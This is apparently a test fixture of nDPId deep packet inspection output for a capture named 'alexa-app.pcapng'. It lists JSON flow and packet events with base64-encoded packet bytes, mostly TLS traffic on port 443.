+00414{"flow_id":54,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":218621,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ4lAAEAGA3qsECrYNF7ohrJzAbuRhBQj6ucBvlAQAVd0NAAA"} +00415{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":219321,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ4pAAEAGA3msECrYNF7ohrJzAbuRhBQj6ucB81AQAVdz\/wAA"} +00416{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":219597,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ4tAAEAGA3isECrYNF7ohrJzAbuRhBQj6ucB81AQAVdz\/wAA"} +00500{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":220809,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjQ4xAAEAGAzysECrYNF7ohrJzAbuRhBQj6ucB81AYAVf\/kgAAFAMBAAEBFgMBADDqNAK1AXXZw2RQSQ0STi12yznXt61cj0tFw85nRFGgzbs\/joEjx\/G8OITcWH6coS8="} +00424{"flow_id":52,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":222170,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoZ\/pAAOcGBUQ27xi6rBAq2AG7hPHQ2dIzKLR1hFAQASzAJAAAAAAAAAAA"} +00423{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":249453,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoxWlAANsGs9Q27xi6rBAq2AG7hPIGkxJtyCyhKVAQAUR++wAAAAAAAAAA"} +01111{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":255305,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ePiC0\/vCAMDKkVoBCABFAAImxWpAANsGsdU27xi6rBAq2AG7hPIGkxJtyCyhKVAYAUShagAAFwMDAfkGf7sVUH2duojwWyKtG0nQpsq7e\/QFaBWMJm7FkgIqCqSr+mbBuxkOTVqJ4pGP+sdRwueMDg0Ji8qdtqo89nHqoGK2oQU9UU3ClH7Cj9BXysjk6coFDpZh6YS\/I1\/DbA1uEb+ekMDvjZsdLM3pN0RYfgeZ1YE8w7Vft9pYjgbMJl2sYoYbJSgQ2WuX2mcZgju4RqVHkTimwMsJOlkG1pkC5Sstu93X\/5ye0MZqSiDDCcdNfwQnGCYJWUYnbfFPhGeI\/j\/nH\/0EE8X89XhE05OkS\/uYVUCA0k71\/870KdqU3krg6UetQ8NNwl\/mT4T4rvW8WFC9qjHt+l8cdjhJo1y0E0vpwkwPd3JNS62xTNMrBkOqJpaQy66rKmkfiRxm8tGFWrnEMEn5PpizN4dAdesGpWoAOy9q2j18Y95tiEhsrnvPw4FjTK2wQHVkiDeg8b8683wtHhrPZqEcA6EtX9IXkzjgcuui7t2HKLjDe6o11ZaACaL6EHZ8WA7G\/gm3EFUFtww2KxCyjiGHmatQ3fvC9Z6\/F\/HJvG8U2ZhQeK1hJjbYFT5X36S8t2lbryCeOeOUMY1mBLKqiATQLTOP7hbGyv7VrH3eAoIIF9K6ha6wKTEZpHIne2cIystb+VNJJAmVGcpWE+FnhRwqqLikp+3SlMCkPsa1BJeg"} +02404{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":265370,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXczEtAAEAGQj+sECrYNu8YuoTyAbvILKEpBpMUa1AQAV\/gwQAAFwMDCxgAAAAAAAAAAv04zxHz6YaW+GbuRQ8sUnpw3N9El0CDwoqE7MwZS1GUk9Jy9IghhII19iibBQKS1Mn+U1iIhGpK4oFLcXy1lwD3oFmfp3zXLt5kxbNilgqbN2dFWTwcRTtz0BhqENBRIx+IX5aFMCneEVPzqIYLN\/XCzO3\/mDYA2\/dUnVpRbodXxb9Uf\/D61GsFAwfb3nFRmJG8VjwW8UYgPqoXDbY+vXRrmSW8ynYafKfJUDpzI3BNd4I4eDc1lU\/r7YNGL7HinMm6+rC6\/mO6fCxFw6k2SpA8osJ8\/+f1Tscz3k2n+zQM1uPuAxQHOXOnFIWxb0vNh4dfE8V9pcfg2IfJ7GjjXimhE89okBtBCTvuQl89woMzColQPqU5p0tC3H1wa\/RlEJmekW2qhr4BV7KAcJzbu7rPT9r\/INs9bCj7pDW5bs1yOWU9AaXhPICA1+5buMK9H2oJuCVH4QmLOJbiiNN\/gr5Ii5EcILJaFNfOdlJ\/Sk6\/lnMQFMhjgUCJfzPoUVM+bzurZJH3npr6ChjeDR6K03kd0IqTRO3kxvRt3M4EUxRZmsii133N+velVuSqKaDr6eld9AewlUlkdeINkYfNr6WFF09JE8KPJBEBImuYRbNU3QFoqGiFGznw\/fIFFy3UepCt9MK71bSvGQ7u3dzSCNWH3hy0xGy\/7lpanPykxgfCUXjYLtHkfDxKvvrZMEHd\/4lOIRGdxXHUXABZhZETTNN0NvVWEmNjYw1Ma0AvZ+yAFlXIKD2qZieq6xk70WM\/HABfLpiisrIw9p1Qg3JHFfhf2gwdsvR1yuP696Tz64g1lLBaMDwdLCoiPBGChlXqu6RzaIUmIEj6LaQU1aIxfkbud0TgModyF6kqAg0gm2kXOjaqkRtKjGbKuZlCPrSPj3mqZSwaJhHIK+r0RAppU5jYhoHLMZyf4u7pHbLFiZ2LyPdP3Ds6IT108KwvdJoaNcmMuoQm3gZABdRtczapPPqaI248zwkPUP1qPh5F35YcUnReJ7a3643PhRjUcpIr34kt90COBwfkQv7fEE\/5elC0jkNZXbs8NINLroug4\/r8BQbP6mvss\/Z7c2YbLujR95XrzhpqeoIZMoY5Vceq6zlITIiMcSOaSDr+HZjyARLfpJfqg6T4Wfkq4qWR87xz9wbeZEN1UfpMYTfevMsyHaW3XF71ggW6TcH7zw8kTAYJAF+Wbjl0rfKHHAqZ4bQZ9zc\/csIKKIwroXKbieaBknDx5ZG2vYm0rr94ap1euEYWZMPpjNegHhUC6v3\/k3rnPfaLXe07fk3FzW5iTTI6gyqcHC7MR+3PkUtrow6ACDgqTv6BTLQp0zhfWyybl4qu1AAgSVMVm7yUf+NCntZByp0vxAJjFC\/BCt7eKPqxt0p9VaNs5fxiX7Rgxtd78ZQaguiyG2phxF0c7kdceFzBjuqiQlwbsFPMJabs98f8zgRdNvyEpxnQA8V36r7LDWEqfT5GOdU+ng7aiLf+ucDLAvA5d2DALHWgTeJ\/6x7Gi55TXj6WB6cPIaX86lSan0pyE5qvhg1lqqryJ3dWG8IkroMIh9M5GZfd37BvaCwpReB5qdK4++XhZyKWs2kxC02qtLaVQLXJ\/qizgrRh\/W1xfooW+bZnm+e\/GhlJlD81EAsYYGvzHO0fBQ+VDLgxCeMiYJOmMXKeDHGB\/tUlvCBm6Dz6I+c3V4mx0pJgLZroHGkkFrxapHkUw8T985AhZYF0GGtbTi0OsGTufr\/jbdBAHLpzCjzvllGypM0ax\/leuu1x7sGC7Ja1JgL4uoZuHF05U\/+zSPXDs20y6MFXsgvdljt7jx6I+hOTFF0XpfDYUc\/qOpTy4+WupPgC0h0DhQI\/XDGsJIlhB3VMs6tpVKFWMOvq2MjhKpVLUCIEpexkLzN8Xe9Z4CKxP\/mSkWDs9e\/zGq6CougC58Q="} +02297{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":656,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":265691,"pkt_caplen":1439,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1439,"pkt_l4_len":1405,"pkt":"AMDKkaPvePiC0\/vCCABFAAWRzExAAEAGQomsECrYNu8YuoTyAbvILKbdBpMUa1AYAV9Y7QAAokgU2JcsdP0EjVbXg6Y1G5R6KHq3ZqsO1GYNU+JoG1VVQ5KdTL\/nJfHQBwbL7gdKqzVMXzlZFGAxcbbkTF+QygyPJ\/8y94ZTLAH1yLt4d1BOFaVs\/lxyD6+uzdytKuKllq4aRMc2sje\/LZYp4eMRGpWpBSMhWV5Z64uiDjOf8qVaSyeaNexW7HHrAUt3VNotcvKdCgwWEXU4OdzcamyjJ3WVl\/VY7ARPH1m6xQbs+p8QudhMO4LMI3SLNJrATBWMUPD8n3m0CJCBqsqKWyFAwZlPAF1E3ssuuGijBEe00g+Ytxydqp4YxVG1qTnuntyRMlSo4suXZebGOkzBJYO\/jQvM+ad2zOmzlEmhh68Kqo+mOVC0jFdn6vM7P\/JjmAhhuxha0ZIsIbq2qQdYsApUo77D47eh1rB02EXLwMHgS2Gzic3wTaW+rlY4M3\/p6PCsiZs2i7gAxzOYWq5bjFrtqCwtLmlpnXDqLUH5E6rzzf5HGYogRrtaFWhPbQfcfA931G86+8Mr3cytWTazOfH3Xat+YD6u5Pg8xBE+NiW8IkLg891PIZVTzQiQprPNSXbvrcMS1fhVC8+4Y8k7KNlhZWVJXF5rF0TbxkLw6xK13OdPsW11xmR\/M1W4abuQmCoOaHv\/lI\/uce1uAh1aUoWMYaJ2CiVjsaXnwSZuIy4Gfsk5cnvqp7FU3C0AmmIQBNtJlAkbd6Itvj22CuNOIObOjAzMvXRjVoh7Fk0ijMm6b77Gj0R\/jSqXPcCq+JOmlJg525IXK3nPJqHNXNgemT5mRZh25HLVUkmqQgDEB7QwxoJOF3Q8ulsiTAC09qs3yMaEufU8NrDSbjaRpv7pMQwgoHYgI+CkZT3KKwEI714Hp5JpZnq3ppul12+DL5OcPXTp3j0B0ZsVnUacH+6gkJmhGKFsRjL0SrjaObZox7fOEefjDz4DFrh5xgRS9uwdlON4Ulze0izYrR6B4+sNayMaW1wJu2BgmiYWBFadWLlZszCdWrN41DjXHil4UWfAlqsfh1V\/VD\/Wayrg\/y1WuRm1\/QWQfhVnNr+dFonbKC60N7QlmgJgjuq\/1S7dvu\/mDVi4nJcW5rCMSgdFaEyrrWCD2HPtsfvwEeQnifMrjrxGZ7z61xejuwIfgPl5wv+KMPRqCu0Gll9pApR36Gjz1HhPwPpyS5ha63qH7yRRS1k1hSebBXnGNBGZNfh3UkhPaEvmUVvgazfRR1TO9ojq7Sr+\/jgHNxe8VnIGvsGGV6yxfkxiBnJv8hrlo6VLySEvISMXjBSwhqQTLxQSk\/Z3DiNSDMGrqIW8YtxRBSC1Dc37skQ5Dak0pYPPsBpIERYhf9WIYhjscnjiUKaqkWEOJUEDbBJ\/mIrpOBimzlj9BlahbpQycudhgWmVzCSQZbAjdfhGQPnoAexVEaDaeNJYM55XLbu\/zJahlPk06+pFrUIVo2cZu\/3Rs6Lt1Xkv191TVz13vIhQu5gS6rVl6lOuSirGgW+uuu2Aw3ApWTnlQAjEXTJfydabqnHp9sbqmP4+opQW\/PR6DMY38liRGMOM1usChQCsy3lxq+H4rrPlKB0q9\/ue\/dlYfogl1B0Idi4yoBaiUZmicbugzYFZ6U7BlEJFQrV5pELQifpXB++fKR9Ukca4lkF5C8PzS4ejYL+fWA+C2841wxQFQWj2RrCSPhseLBKsDf17R8svfDnlgmzwhKfImF5OgZDSQMwQnyH1fTPY9\/cCo4difJ+Nlb6fplxIo\/x4HX6cC454wfo2Rb9tzd191LeCeE1RvFglGYymOzw3aoweRLgfQdjRWkr+jpVdh4Mgcv0GJuIjjR5hRyLEV1HjE5+aIc+ZQF8="} +02393{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":265839,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXczE1AAEAGQj2sECrYNu8YuoTyAbvILKxGBpMUa1AQAV9qRgAAFwMDIlAAAAAAAAAAA+Jhc54kVNUOlM3DJDUBEGGkiIwKwCgY281VFbmCQXl7O9Km9SKIl5tbkC\/YYYPMXkdAw33VyOUzktzGmOJuOJkkoSpu3o+hLHy6AAf66h1VUf5i5p7+lGrLR8y8BxROh6ccj+2DDUFgILl8hgQyJUhEFjeY5FG0P2EVfAz0\/m29FD5JxsSy2jSmeRkD7V6UltunPhqtViVVjc7P\/BmoXkWyaY0YlGPBKNgANVGDYqYuFk5nGz4VN3XyCWyRSF7qdySeq+TmZJzGW9XZR\/UxnvfMzyra8OVDrJFVJGMtn0thE5sTUyiQt5aNqaWVpqFuAivqiyuexB\/KeBwJl9vPeswHy\/4PRis24WakRQizEIN\/3LBr5Z\/KlrzgF9UfQHGB1DxZ4ak021M9jX+nKKJZ6xHFylYvGgTUnffRpeu8g7l28xtVInCudLt7l\/uijLE1F9anOutx115QiqafBzYhjPMfKCDjDE05Jd34GD\/kr226KLA1m8qBz8FgTkAAlIenM1D\/cekMo96bRN31QtUeHoNMqCmOTtK8Ur\/bsjymfhDGm0Oy2r38lPWRPvsvu7gQKCpqcXaeId8EHB+jVbS5knAL6SKW1CCzT3SGvEP4dGqNs2\/WUgNymzapywI4TQvi2EMU\/LSmEJ2iBDpo2Ttc2HPTuRsryQQl2y0BC4bKwhiWdWyTDXpmZIucyTxnP+udH38bK3pEw90nWvTGVRnecYpDeAwSP17icNjpJ0Fru4OkVBumnqI5zuIhetj2U9LAn3HRKyqwkiwndJZskKnxTnyAkM2Ud15ncN\/3HQtCoZ7cRfhnsifqHoTevx3M4cPaMKSLNqCapZdd4LlOubQFZOlJpHgbG6A1mNzPrZTf4mDZE7OZlrTwXhdfKjA8XvUXPupuGclSxHAOHfHnXeR88TVagMPH0KSGUilxLfKEM5zZIu+CAWEyI7vJSfhTOwWbisY6DRzJhwJhPDsd784GnYwbLx4Yyf6eAkKdZ766nuB2X8GcvhjS2Jik4ptPHBVAFJOqRS6GfBdTjIlREgR4nZHKMVlnGQ\/cVrKVDLJbYRsX3PPSwAoh2TA6ZYgJM2MH3RnJisHOYNI6Nd0cYjSdpza554+UiGNealnmrKhXPkXMiUkfCxCI\/GZJR3+RjiMApgia0rIHwOVA5vjOZzGj++5C91Wln24O9OMbQ7GfSRal0ntlskRnnAZLa\/o\/Gh+ziNOXbzDNFYc8rHFwgDap60rhlYjiayJDy6kV8BygJEhsg+h9rJnFJZ4U6tL6FNW2ZRpBazroAz9h3LtBHShCqe807EVTxYQKz+yKDEMdaEZsHAC5fvpOCmxP9PfZOsZ4qO7nlSYQ0CzlmxDUejbKu\/i4ChRI94aSWikUcYZqUKyo4oe8FQEr3ANjLYRcUtixfOBSBNZBmYX7sge9DYpB12mbF+nV0jyXoHFoChAE1k8K5TlT2PadeEcJcRHjjb1YZAg45e3NA5CbLF9LJmwTNUS4Nf3UXFN20z+M1oPcrgkCv2qfzun1HgLH6UKQkc5TrbC7aO9MuN36vasGsKSMj90Ui9vOHfFOiGZado5KdgxDO9RJvecvB+BI4ZhTBgYl5QIpMNFBPu9xmC1eBJh\/VryI5nbVC3ZmkoIfpoGz0jkJ0ZlMZSc3MFsHuCfiK2eeIi\/zfTRqg3wSCen88+ArnN7enW4SOJoxo1P09rHx7Hw4MLyp7aIgpt6CoU8MgEi60kip0qArylZqBUGItpI7u6Cmflc2HsxycVZ2fnVN8xD2HfuFmhNh\/7lCJVisN7+eXrVQe9ZCVdrrSLxbDrYtNfJo5vIpD3o9KlyF1dYXECZKesMdw1f1Be6Z3U71us8k6LcTabjxmuvNvC19rmpipsexy8AvPvdAZ\/ZIk53krardf0Wq4bOEnfxi1VCV+JMawF0iBAZ+HxQ="} +00424{"flow_id":54,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":278944,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoWNdAAOcGRys0XuiGrBAq2AG7snPq5wHzkYQUXlAQf\/f1IwAAAAAAAAAA"} +01527{"flow_id":52,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":390507,"pkt_caplen":871,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":871,"pkt_l4_len":837,"pkt":"AMDKkaPvePiC0\/vCCABFAANZJDNAAEAG7NqsECrYNu8YuoTxAbsotHWE0NnSM1AYAVspNAAAFAMDAAEBFgMDACgAAAAAAAAAAB5+QHcCy7hTVmLHlCrKIY891MuDynMTvulSegEzf7o6FwMDAvkAAAAAAAAAAcx54JmeuS10AT9KUjaz3ZIVv9bZ\/3ctMYZwgIYFRc4vwpsTgZOsMPqd2Ox960CGMzFf5M9pQsuKs7KO5OreMbPcCAV7XFeeyiGApovF9VXHWJaKEb7B0sUaUCNKhb8BMk1oZsmfg54qPXZ20XzapdYHuLjw+esiQ3WbUfEkU3lwZTKTgOHJ2moiEmRNdwu4cfmjgRU9D3jVgoFymoiYOD6k\/j9HWn+Dxd20f8SNwYxccunUPhuewsbhY5AGH2+iO3y1IjKIEGQY1PVBd7Er0MfsbuA\/SUFOO8QDQnN+XOu3k1lhfuLNqZlwSUWSkLA96AGz+oShXITAoa0p0Q8y4AZCKtbU3y0\/E\/A+z1rsIptLAymFSPAbyJMnsTK9iq2ttsb73vq\/si3WG2LZXnepCAYc0AoJpLQkGwj0rv4rdmiYBimU67+oD6z\/VKP5RaIre0zmzUcGY6N6Dkl5XXLB1hyz3KnjjgtBBLMwhTEldg8Z1frEXQRm56eNeZrBz\/4zJ5EdZf9c8eFkLQRJDIHFCDalyagTNNMmRnlU\/9OwId9ScedewcTbuesb+8tBabm5bV3vhWXfNDg0wkgx\/NpuaWqHVboSwxeloQuddCpJt7eFom95q\/vNEFg1DsW8xEqYZl14byoDfwTMxrh8dk7Ok5T\/g\/gXdTe3QpLseWiYx0qEAnobp\/Y+IVZ633IFmC2AcvRKVzJWtdUps4NQNOqnfK45lIcwXrOuqH8Hn\/Rebao\/fKmCmR2tZlrJYqh04WU7Owae1n33xqMUf5ALgA6ZfICjAIQzM4PhoaS+bSJCmcwbvMEmGrlAjR4qLnfL073VjYci7ys9HPpPRFmm2ph6czJNwjnlvnT\/cxJaqJylnFIZJzvDCrLfrkw9d4w6v+Qo8btWqTXERJq05BxVd41MtoUj5UIVwYAZJZg4GGKcjM3G8vNauE5B9gPTTK7Ugmm1OIdvoaFQ0hhdK8KcO5goVqQrOnF2cDafoS3UIA9RyCJchg=="} +00423{"flow_id":52,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":447953,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoBwNAANsGcjs27xi6rBAq2AG7hPHQ2dIzKLR4tVAQAUS82wAAAAAAAAAA"} +00423{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":448091,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoBwRAANsGcjo27xi6rBAq2AG7hPHQ2dIzKLR4tVAQAUS82wAAAAAAAAAA"} +01109{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":672,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":453980,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ePiC0\/vCAMDKkVoBCABFAAImBwVAANsGcDs27xi6rBAq2AG7hPHQ2dIzKLR4tVAYAUT2GAAAFwMDAfnMLCDqUBTO\/8pEDnNpQ968LNqQIlMrRiN\/vhXPyoKE7Zf9+lPhvwygJ8Fy1hfPytXuqgaWgEJrI9KqRsknF4CxpNdJplUXhj7oVMy98\/XlNhgKaZ2Aqa9G5RYhBtJ0CLinVZZbd0TfyjyF33JUg7HzMeJjKpWYAiueZm0AaIqtdwBBNYos5pQmiMMu\/qb+KZRMeYzsVqlxURXHWVvhcBwGlgpwXTh2FCxu9efOs+Tv7cwV+cvjN\/WeblHaaQynqbRrl+rkes0mTKx5KK1GU4lmY7iarOxjMpyWzap2NDGEO7Ugrr239HpP6HuL+VhHTsoGSvQL\/BMi47KOUO91Q5\/DczWhoSGhM9KfqOZzxzpc2tJTL74jwJgl2HWaIcMwXwDHuk14CTHn3BmGIFa0Yeci6foUhC47UZPQyFYfv3xpAi7D+d2qOG5SKRVREW0a3kS1E5YRQQKmCZ0N8R\/0Ed\/xUhvQmRfgSN1AgT8R2OYB9UP9zoNZHNFtIUJlcjx6bMc\/agVGh12G5WMOhlKVzwsNraliOOVDuzSbXdefjNQ9r2Kljw3aVf4BUmyZmF7iw5ldQQF6k8jxlAwG2LFY7ET\/IYm0FIgW4AsIp8YpNsevwsTYzHa4l6s3uCqFAW8BsG4PitkfRJYHUWt0QFoGtCwIvEkNfr4Z+QHW"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":679,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1490976047560,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54427,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":560420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8csJAAEAG6uOsECrYNFXR2NSbAbtgrSImAAAAAKAC\/\/+\/5AAAAgQFtAQCCAoA9lDkAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1490976047563,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42143,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":563011,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8y+FAAEAGgVWsECrYSBXOh6SfAbuD+JsFAAAAAKAC\/\/9DRwAAAgQFtAQCCAoA9lDkAAAAAAEDAwg="} +00442{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":602380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqqU0VdHYrBAq2AG71JuiSVznYK0iJ6AScSA47wAAAgQFtAQCCAptkKkCAPZQ5AEDAwg="} +00430{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":603553,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0csNAAEAG6uqsECrYNFXR2NSbAbtgrSInoklc6IAQAVfXgQAAAQEICgD2UOhtkKkC"} +01130{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":610667,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"AMDKkaPvePiC0\/vCCABFAAI5csRAAEAG6OSsECrYNFXR2NSbAbtgrSInoklc6IAYAVfMzwAAAQEICgD2UOhtkKkCFgMBAgABAAH8AwN2BwhjfJbg5Am9t4WVCSBsvbJjgWDho9rtAy+p\/VRu5SBHUQT65GzShmSQt43DXU\/iRpfvK3yVUZImuuA4WpXHawAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAGTCgoAAP8BAAEAAAAAEwARAAAOd3d3LmFtYXpvbi5jb20AFwAAACMAsFRWtD3JSKQf4Lr9eEfx0PQ01nHGkidDCG7s9KZESOymslO\/GqdkoVsdJK5ZoYugmQyWHOp1tqWh2bA4KlSTUx1xDcGhPBYTENeT+hnpzYJuHISGm+WAjLYZpeScMXdEj+cpOxx40tMWY+U2GkrsQW5AIinC1PY+tiQWPYlKDKD6UtQmLCxNZDzFu5nYZUvgPU\/iQ7PiXNcQfJ3byiPYuj5cRmbUB10pxz435spf4lY4AA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACAoKAB0AFwAYamoAAQAAFQBnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 